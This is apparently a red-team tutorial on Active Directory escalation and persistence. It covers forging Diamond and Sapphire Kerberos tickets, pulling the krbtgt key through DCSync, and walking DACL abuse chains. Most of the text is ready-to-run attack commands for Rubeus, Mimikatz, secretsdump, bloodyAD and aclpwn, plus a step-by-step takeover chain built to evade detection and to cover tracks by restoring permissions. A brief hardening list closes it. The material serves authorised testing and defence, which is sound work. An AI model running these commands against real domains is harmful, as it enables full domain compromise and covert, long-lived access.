Diamond Tickets, Sapphire Tickets, and the DACL Chains Nobody Checks
Golden Tickets get caught. Silver Tickets have limitations. Diamond and Sapphire Tickets modify legitimate TGTs issued by the KDC, making them nearly invisible. Combined with DACL abuse chains, this is the current state of the art in AD persistence and escalation.
Golden Tickets were the endgame for years. Forge a TGT offline with the krbtgt hash, set any PAC you want, and you own the domain. Then MDI, ATA, and custom detection rules started catching them. The tells: TGT issued without a corresponding AS-REQ on the DC, PAC with impossible group memberships, encryption downgrade to RC4 when the domain uses AES.
Diamond and Sapphire Tickets solve all of that. Instead of forging a TGT from scratch, they modify a legitimate TGT obtained through a real AS-REQ to the KDC. The KDC issued it. The KDC logged it. The encryption matches the domain policy. The only thing that changed is the PAC inside.
Diamond Tickets
A Diamond Ticket is a legitimate TGT where the PAC has been decrypted, modified, and re-encrypted.
How It Works
- Perform a standard AS-REQ for a low-privileged user
- Receive a legitimate TGT from the KDC
- Decrypt the PAC using the
krbtgtAES256 key - Modify the PAC: add the target user’s SID, inject group memberships (Domain Admins, Enterprise Admins, etc.)
- Re-encrypt the PAC and re-sign the ticket
The result is a TGT that the KDC actually issued, with all the right metadata, that now contains a Domain Admin PAC.
Execution with Rubeus
Rubeus.exe diamond /krbkey:<krbtgt_aes256> /user:lowpriv /password:pass /enctype:aes256 /domain:domain.local /dc:dc01.domain.local /ticketuser:administrator /ticketuserid:500 /groups:512,513,520
Parameters breakdown:
/krbkey: thekrbtgtAES256 key (from DCSync)/user+/password: your low-priv account for the real AS-REQ/ticketuser+/ticketuserid: the identity you want in the PAC/groups: group RIDs to inject (512=Domain Admins, 520=Group Policy Creator Owners)
Why Detection Fails
- AS-REQ exists on the DC: the authentication event (4768) is real
- Encryption type matches: AES256, same as every other TGT
- Timestamp is valid: issued by the KDC at a real time
- No Event 4769 anomaly: the service ticket requests that follow look normal
The only theoretical detection: compare the PAC group membership against the actual group membership in AD for the claimed user. Almost nobody does this at scale.
Sapphire Tickets
Sapphire Tickets take it one step further. Instead of crafting a PAC manually (which could contain invalid SIDs or impossible group combinations), a Sapphire Ticket obtains the legitimate PAC of the target user via S4U2Self and grafts it into the modified TGT.
The Difference
| Aspect | Diamond | Sapphire |
|---|---|---|
| PAC source | Manually crafted | Obtained via S4U2Self |
| PAC accuracy | May contain inconsistencies | Exact copy of real PAC |
| Group memberships | Manually specified | Reflects actual AD state |
| Detection surface | Slightly larger | Minimal |
Execution with Rubeus
Rubeus.exe diamond /krbkey:<krbtgt_aes256> /user:lowpriv /password:pass /enctype:aes256 /domain:domain.local /dc:dc01.domain.local /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg
The /tgtdeleg flag (combined with S4U2Self flow) fetches the real PAC for the target user before injection. The resulting ticket is indistinguishable from one the KDC would issue if the target user authenticated directly.
Prerequisite: Getting the krbtgt Key
Both techniques require the krbtgt AES256 key. Standard paths:
secretsdump.py domain.local/admin@dc01.domain.local -just-dc-user krbtgt
Or via Mimikatz:
lsadump::dcsync /domain:domain.local /user:krbtgt
If you already have DA, Diamond/Sapphire Tickets become a persistence mechanism rather than an escalation path. The key insight: even after a password reset wave, if the krbtgt key wasn’t rotated twice, your tickets still work.
DACL Abuse Chains: How You Get There
The gap between “initial foothold” and “krbtgt key” is where DACL chains come in. Most AD environments have transitive permission paths from regular users to high-value targets. The problem is they’re invisible without graph analysis.
BloodHound Edges That Matter
Tier 1 (direct compromise):
GenericAllon user → password reset or Shadow CredentialsGenericAllon computer → RBCD or Shadow CredentialsWriteDACLon anything → grant yourselfGenericAll, then proceedWriteOwner→ take ownership, modify DACL, grant yourself permissions
Tier 2 (indirect chains):
AddMemberon a group containing DA → add yourselfForceChangePasswordon a user with DCSync rightsGenericWriteon a user → set SPN (targeted Kerberoasting) or modifyscriptPathfor code execution at logonAllExtendedRightson a computer → read LAPS password
Tier 3 (multi-hop):
GenericAllon OU → inheritable ACE propagation to all child objectsWriteDACLon the domain head → grant DCSync rights to any userGenericWriteon GPO → link to OU containing DCs → code execution on DCs
The Chain in Practice
# 1. Enumerate attack paths
bloodhound-python -d domain.local -u user -p pass -ns 10.10.10.1 -c all
# 2. Find chains to DA (in BloodHound GUI)
# Right-click DA group → Shortest Paths to Here
# 3. Example chain: user → GenericAll on Group → AddMember → DA
net rpc group addmem "Domain Admins" "attacker" -U domain/attacker%pass -S dc01.domain.local
# 4. Or more subtly: user → WriteDACL on domain → grant DCSync
bloodyAD -u attacker -p 'pass' -d domain.local --host 10.10.10.1 add dcsync attacker
secretsdump.py domain.local/attacker:pass@10.10.10.1 -just-dc-user krbtgt
aclpwn: Automated Chain Walking
aclpwn.py automates DACL chain exploitation. It reads BloodHound data and automatically exploits the shortest path:
aclpwn -f attacker -ft user -t "Domain Admins" -tt group -d domain.local -s neo4j_host
It modifies each ACL along the path, performs the escalation, then restores the original DACLs for cleanup.
Combining Everything
The full chain in a real engagement:
- Enumerate with BloodHound → find DACL path to a user with DCSync rights
- Exploit the chain → get DCSync capability
- DCSync krbtgt → obtain AES256 key
- Forge Sapphire Ticket → authenticate as any user with a real PAC
- Cleanup DACLs → restore original permissions
- Persist → Sapphire Tickets remain valid until krbtgt is rotated twice
The beauty of this flow: steps 1-3 create audit events, but step 4 onward is nearly invisible. By the time you’re using Sapphire Tickets, the only artifact is an AS-REQ from a legitimate low-priv user that was already in your control.
Hardening
- Rotate
krbtgtpassword twice with at least 12h between rotations (one rotation leaves the previous key valid) - Monitor Event 4662 for DCSync-related operations (
DS-Replication-Get-Changes-All) - Deploy Microsoft ATA/MDI with PAC validation rules
- Audit DACLs quarterly. Use PingCastle or Purple Knight for automated DACL analysis
- Implement AdminSDHolder and SDProp monitoring for protected group modifications
- Tier your AD administration. No daily-use account should have write access to Tier 0 objects